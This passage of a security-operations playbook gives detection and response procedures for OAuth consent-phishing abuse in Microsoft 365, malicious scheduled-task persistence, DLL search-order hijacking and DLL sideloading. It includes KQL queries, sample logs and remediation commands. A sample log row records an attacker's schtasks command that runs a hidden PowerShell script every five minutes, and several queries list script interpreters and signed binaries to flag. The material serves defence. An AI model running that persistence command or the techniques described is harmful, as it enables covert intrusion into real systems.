o Look for later successful logons with accounts previously roasted (Event ID
4624)

Containment and Response

Step Action
1 Isolate the source machine if malicious tool use is confirmed
2 Identify all service accounts whose hashes were requested
3 Rotate passwords for those service accounts
4 Search for subsequent activity tied to those service accounts
5 Review any outbound traffic from the host (e.g., exfil of hash files)

Eradication and Recovery

• Revoke Kerberos tickets and reauthenticate accounts

• Reset passwords for any service accounts that were roasted
• Audit SPNs for accounts with unnecessary delegation
• Monitor for use of cracked credentials (e.g., access to shares, DCs)

Recommendations and Hardening

• Enforce AES encryption for service accounts (disable RC4)

• Rotate passwords for all accounts with SPNs regularly
• Monitor:
o 4769 with 0x17
o Repeated SPN requests from non-admin hosts
• Disable unconstrained delegation
• Audit accounts with Trusted for Delegation flag
• Use Managed Service Accounts (gMSAs) to reduce SPN attack surface
USE CASE 22: MALICIOUS OAUTH APPLICATION ABUSE IN MICROSOFT 365 (O365
MAILBOX EXFILTRATION)

Suspicious Microsoft 365 OAuth Application – Mailbox Access via Consent Phishing

Objective: Detect and respond to malicious OAuth application abuse in Microsoft 365,
where an attacker registers a rogue app, tricks a user into granting consent and gains
persistent access to mailboxes or OneDrive without needing credentials.

MITRE ATT&CK Mapping

• T1528 – Abuse of Cloud Services: Steal Application Access Token

• T1552.001 – Unsecured Credentials: Credentials in Files (e.g., token.json)
• T1530 – Data from Cloud Storage
• T1114.003 – Email Collection via Cloud APIs

Detection Logic (Microsoft 365 / Azure AD Audit)

Azure Sign-In Logs (OAuth Consent Events)

Look for:

• User consenting to unfamiliar app

• App requesting Mail.Read, offline_access, Files.ReadWrite, User.Read
• Consent to multi-tenant app from unknown publisher

AuditLogs
| where OperationName == "Consent to application"
| where ResourceDisplayName !in ("Microsoft Teams", "Microsoft Graph", "OneDrive")
| where Result == "Success"
| project TimeGenerated, InitiatedBy, AppDisplayName, ConsentType, Scope, ClientAppId

Unified Audit Log (UCL) in Microsoft 365

Search for mail read/download via Graph API by non-user agent or unknown IP:

OfficeActivity
| where Operation in ("MailItemsAccessed", "Send", "MessageBind")
| where ApplicationId != "known-corporate-app-id"
| where UserAgent !contains "Outlook"

Data
 Timesta User AppDisplayNa Permissions ConsentTy AppID
mp me Requested pe
2025-07- [email protected] InvoiceSync360 Mail.Read, User 39812f83-
29 m Mail.ReadWri 9e1c-442f-
01:15:42 te, bad8-
offline_acces e5a77f67f9
s 00
Timestamp Operation AppID IPAddress ObjectAccessed
2025-07-29 MailItemsAcces 39812f83- 89.44.108.3 [email protected]
01:17:15 sed 9e1c-442f... 3 Inbox

Initial Triage Questions

• Was the OAuth app user-consented or admin-consented?

• Did the app request high-risk scopes (Mail.Read, Files.ReadWrite.All)?
• Was access granted from a foreign IP or non-standard user agent?
• Is the app published by Microsoft or unknown?
• Are multiple users affected by the same app?

Analyst Steps

1. Identify the App & Scope

o Use Azure portal or Get-AzureADServicePrincipal to inspect app metadata
2. Check Audit Trail
o Pull UCL for MailItemsAccessed, FileAccessed or Send events tied to the
AppID
3. Correlate with IPs and Timestamps
o Is the app pulling data regularly from a known C2?
4. Check Token Usage
o Was offline_access granted (token refresh without user interaction)?

Containment and Response

Step Action
1 Revoke OAuth consent via Azure Portal or PowerShell
2 Disable the app using Remove-AzureADServicePrincipal
3 Invalidate tokens by forcing sign-out:
go
`Revoke-AzureADUserAllRefreshToken
4 Notify user and initiate account password reset
5 Hunt across tenant for the same AppID consented by other users

Eradication and Recovery

 • Disable user consent for unverified apps via Conditional Access or Admin Center
• Remove any remaining malicious apps in Enterprise Applications
• Reconfigure token lifetimes (reduce refresh token age)
• Enable cloud app security policies for OAuth abuse detection
• Conduct phishing simulation if consent was social engineered

Recommendations and Hardening

• Disable user OAuth app consent via Azure AD:

Set-AzureADDirectorySetting -Id <ID> -Values @{"UserConsentForApps"="False"}

• Use Microsoft Defender for Cloud Apps (MCAS) or Purview to detect risky apps
• Audit apps under:
Azure AD → Enterprise Applications → All Applications
• Enable Consent Reviews in Conditional Access
• Enforce MFA and session restrictions on OAuth scopes
USE CASE 23: PERSISTENCE VIA MALICIOUS SCHEDULED TASK CREATION

Suspicious Scheduled Task – Persistence via Task Scheduler

Objective: Detect and respond to attackers creating malicious scheduled tasks to achieve
persistence or repeated execution of payloads on Windows systems, either at logon,
system boot or recurring intervals.

MITRE ATT&CK Mapping

• T1053.005 – Scheduled Task/Job: Scheduled Task

• T1547 – Boot or Logon Autostart Execution
• T1059 – Command and Scripting Interpreter

Detection Logic (SIEM Use Case)

Windows Security Event ID 4698 (Scheduled Task Created)

Watch for:

• Task names mimicking legitimate ones (Update, ChromeUpdate)

• Actions launching scripts or binaries from suspicious locations

SecurityEvent
| where EventID == 4698
| where CommandLine has_any ("powershell", "cmd", "wscript", ".vbs", ".ps1", ".bat")
| where TaskName has_any ("Update", "Chrome", "OneDrive", "System")
| project TimeGenerated, Computer, SubjectUserName, TaskName, CommandLine

Sysmon Event ID 1 + 11

Detect schtasks.exe creating tasks with unusual triggers

Sysmon
| where EventID == 1
| where Image endswith "schtasks.exe"
| where CommandLine contains "/create"
| project TimeGenerated, Image, CommandLine, User

Data

Timestamp Host TaskName CommandLine User

2025-07-29 WIN- MicrosoftUpdate schtasks /create /tn [email protected]
01:25:10 STAFF03 "MicrosoftUpdate" /tr
 "powershell -exec bypass
-f
C:\Users\Public\run.ps1"
/sc minute /mo 5

Initial Triage Questions

• What user created the task? Is it an admin or compromised account?

• Is the executable in a user-writable path (e.g., C:\Users\Public)?
• What is the recurrence schedule of the task?
• Was the task configured to run under SYSTEM or another account?
• Is there a parent process trace of the task creation (PowerShell, malware dropper)?

Analyst Steps

1. List Active Tasks

schtasks /query /fo LIST /v

2. Inspect the Task

o Validate Action, Author, Triggers, RunAsUser
3. Review Task Files
o Analyze run.ps1 or equivalent for malicious payloads
o Check timestamps, digital signatures and file hashes
4. Trace Origin
o Use Sysmon or EDR logs to find what created the scheduled task (e.g.,
malware, script)

Containment and Response

Step Action
1 Disable or delete the malicious scheduled task:
`schtasks /delete /tn "MicrosoftUpdate" /f`
2 Remove associated script or binary (run.ps1)
3 Quarantine any dropper or parent script/tool
4 Investigate the user session (account compromise or misuse)
5 Hunt for similar task names or binaries across endpoints

Eradication and Recovery

• Remove all persistence entries (task, script, registry if applicable)

• Reimage host if deep compromise is suspected
• Reset passwords and enable MFA for compromised user
• Block script execution from user folders using AppLocker or WDAC
 • Enable endpoint protections to detect and prevent future misuse of schtasks.exe

Recommendations and Hardening

• Monitor Event ID 4698 and schtasks.exe executions

• Restrict task creation to administrators only via GPO
• Enable AppLocker or WDAC to block untrusted scripts
• Log and alert on scheduled task creation with suspicious parameters
• Regularly review tasks using:

Get-ScheduledTask | Where-Object {$_.TaskName -notmatch "known-safe-names"}

USE CASE 24: DLL SEARCH ORDER HIJACKING – PERSISTENCE AND EXECUTION
HIJACK

DLL Search Order Hijacking Detected on Windows Host

Objective: Detect and respond to DLL search order hijacking, where an attacker places a
malicious DLL in a location that gets loaded by a legitimate executable due to how
Windows searches for DLLs. This is used for stealthy persistence, privilege escalation or
malware execution.

MITRE ATT&CK Mapping

• T1574.001 – Hijack Execution Flow: DLL Search Order Hijacking

• T1055 – Process Injection
• T1036 – Masquerading

Detection Logic (SIEM Use Case)

Sysmon Event ID 7 – Image Load

Monitor for DLLs being loaded from non-standard paths, particularly by signed or well-
known binaries:

Sysmon
| where EventID == 7
| where ImageLoaded endswith ".dll"
| where ImageLoaded has_any ("C:\\Users\\", "C:\\Temp\\", "C:\\ProgramData\\",
"C:\\Windows\\Tasks\\")
| where NOT(ImageLoaded contains "Windows\\System32")
| project TimeGenerated, Computer, User, Image, ImageLoaded

Sysmon Event ID 1 – Process Creation of Vulnerable Binary

Sysmon
| where EventID == 1
| where Image has_any ("AcroRd32.exe", "OneDrive.exe", "Teams.exe", "MSBuild.exe") //
LOLBins or signed apps
| project TimeGenerated, Image, CommandLine, User

Correlate: Was a suspicious DLL loaded by this signed binary?

Data
 Timestam Host Image ImageLoaded User
p
2025-07-29 WIN- AcroRd32.ex C:\Users\Public\msvcrt.dl [email protected]
01:35:51 FINANCE0 e l l
1

Adobe Reader loaded a rogue msvcrt.dll from C:\Users\Public instead of

C:\Windows\System32, indicating hijack.

Initial Triage Questions

• Is the .dll in a non-standard directory?

• Is the parent process a signed binary that doesn’t normally load this DLL?
• Is the .dll signed, packed or obfuscated?
• When was the .dll created compared to the process launch?
• Is this a known abuse technique for the application involved?

Analyst Steps

1. Check DLL Origin

o File hash, digital signature, creation timestamp
o Submit hash to VirusTotal or sandbox for analysis
2. Correlate with Process Execution
o Did AcroRd32.exe or other signed binary launch recently?
o Was the launch initiated by a user or a script?
3. Search for Persistence
o Is the rogue DLL written to a location that survives reboots?
o Does the DLL get reloaded on boot or user logon?
4. Scan for Spread
o Are there other systems where the same DLL is present?

Containment and Response

Step Action
1 Kill the parent process (e.g., AcroRd32.exe) if still running
2 Delete the rogue DLL from the hijacked path
3 Isolate the system for forensic analysis if payload executed
4 Search for scripts or dropper files that placed the DLL
5 Block execution of unsigned DLLs from non-system directories via EDR

Eradication and Recovery

• Remove all copies of the malicious DLL

• Reinstall or repair affected applications if original DLL was replaced
 • Rebuild system if core Windows libraries are affected
• Implement DLL Safe Search Mode:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v

SafeDllSearchMode /t REG_DWORD /d 1 /f

• Block known vulnerable LOLBins that allow sideloading

Recommendations and Hardening

• Enable SafeDllSearchMode to force system directory search precedence

• Prevent write access to application folders by non-admins
• Monitor for signed binaries launching from unusual folders
• Use AppLocker or WDAC to block unsigned DLLs in user paths
• Maintain up-to-date application versions to avoid known DLL sideloading paths
USE CASE 25: DLL SIDELOADING VIA SIGNED INSTALLER – STEALTHY EXECUTION

DLL Sideloading Detected via Signed Installer on Windows Host

Objective: Detect and respond to malicious DLL sideloading where attackers place a fake
DLL alongside a signed installer or executable. When the executable runs, it loads the
attacker’s DLL due to weak DLL loading paths. This allows stealthy malware execution
under the context of a trusted process.

MITRE ATT&CK Mapping

• T1574.002 – Hijack Execution Flow: DLL Side-Loading

• T1055.001 – Process Injection: Dynamic-link Library Injection
• T1036.005 – Masquerading: Match Legitimate Name or Location

Detection Logic (SIEM Use Case)

Sysmon Event ID 1 – Process Creation

Sysmon
| where EventID == 1
| where Image has_any ("setup.exe", "install.exe", "AutoRun.exe", "DriverSetup.exe") //
Common installers or signed loaders
| project TimeGenerated, Image, CommandLine, User, ParentImage

Sysmon Event ID 7 – DLL Loaded

Sysmon
| where EventID == 7
| where ImageLoaded endswith ".dll"
| where ImageLoaded has_any ("C:\\Users\\", "C:\\Temp\\", "C:\\ProgramData\\",
"C:\\Windows\\Tasks\\")
| where NOT(ImageLoaded contains "Windows\\System32")
| project TimeGenerated, Computer, User, Image, ImageLoaded

Correlate: Was a suspicious DLL loaded by the installer or setup binary?

Data

Timestamp Host Image ImageLoaded User

2025-07-29 WIN- setup.exe C:\Users\Public\ntdll.dll [email protected]
02:12:00 ENG01

A legitimate setup.exe loaded a rogue ntdll.dll from C:\Users\Public, instead of system32.

Initial Triage Questions

• Is the DLL loaded from a user-writable or temp directory?

• Is the process (e.g., setup.exe) a signed and trusted binary?
• Is the loaded DLL unsigned, packed, or uncommon?
• Is this a known sideloading technique for this application?
• Was the DLL created moments before the process started?

Analyst Steps

1. Validate DLL File

o Check file hash, creation time, signature.
o Submit to VirusTotal, Any.Run, or Cuckoo sandbox.
2. Check Parent Process Chain
o Who executed the setup binary? Was it a user or automated?
o Did it come from a mounted ISO/USB or email?
3. Review Persistence & Spread
o Does the DLL exist in other endpoints or startup folders?
o Any persistence mechanisms (e.g., Scheduled Task, Run key)?
4. Hunt for Initial Access
o Was this setup.exe dropped from a phishing lure or archive?
o Was it extracted from a ZIP/RAR or downloaded from web/email?

Containment and Response

Step Action
1 Terminate the parent process (e.g., setup.exe) if active
2 Delete the rogue DLL from the sideloaded path
3 Isolate the host for further analysis
4 Identify and remove the dropper or initial package
5 Block similar sideloading attempts via EDR custom rules

Eradication and Recovery

• Clean all endpoints with the rogue DLL

• Reinstall legitimate software if DLL integrity is in question
• Remove sideloading techniques from staging locations
• Enable SafeDllSearchMode in Registry:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v

SafeDllSearchMode /t REG_DWORD /d 1 /f

Recommendations and Hardening

• Enforce application control (AppLocker or WDAC)
• Block execution of unsigned DLLs in user-writable folders
• Disable auto-launch of removable media installers
• Educate users not to run unknown setup files from email/USB
• Monitor for LOLBins and sideloading behaviours in EDR/SIEM
• Keep trusted software updated to avoid known sideloading vectors